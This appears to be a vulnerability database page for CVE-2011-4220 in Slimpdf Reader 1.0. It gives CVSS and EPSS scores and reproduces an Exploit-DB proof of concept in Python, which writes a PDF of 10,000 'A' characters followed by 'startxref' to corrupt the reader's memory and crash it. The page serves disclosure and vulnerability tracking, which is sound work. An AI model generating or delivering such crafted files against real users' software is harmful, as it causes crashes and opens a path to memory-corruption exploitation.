Slimpdf Reader 1.0 - Memory Corruption

2012-06-2500:00:00

Carlos Mario Penagos Hollmann

www.exploit-db.com

9.3 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

6.6 Medium

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

82.0%

JSON

# Exploit Title:
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:1.0
# Tested on: Windows 7
# CVE : cve-2011-4220


payload ="A"*10000
crash="startxref"
pdf=payload+crash

filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()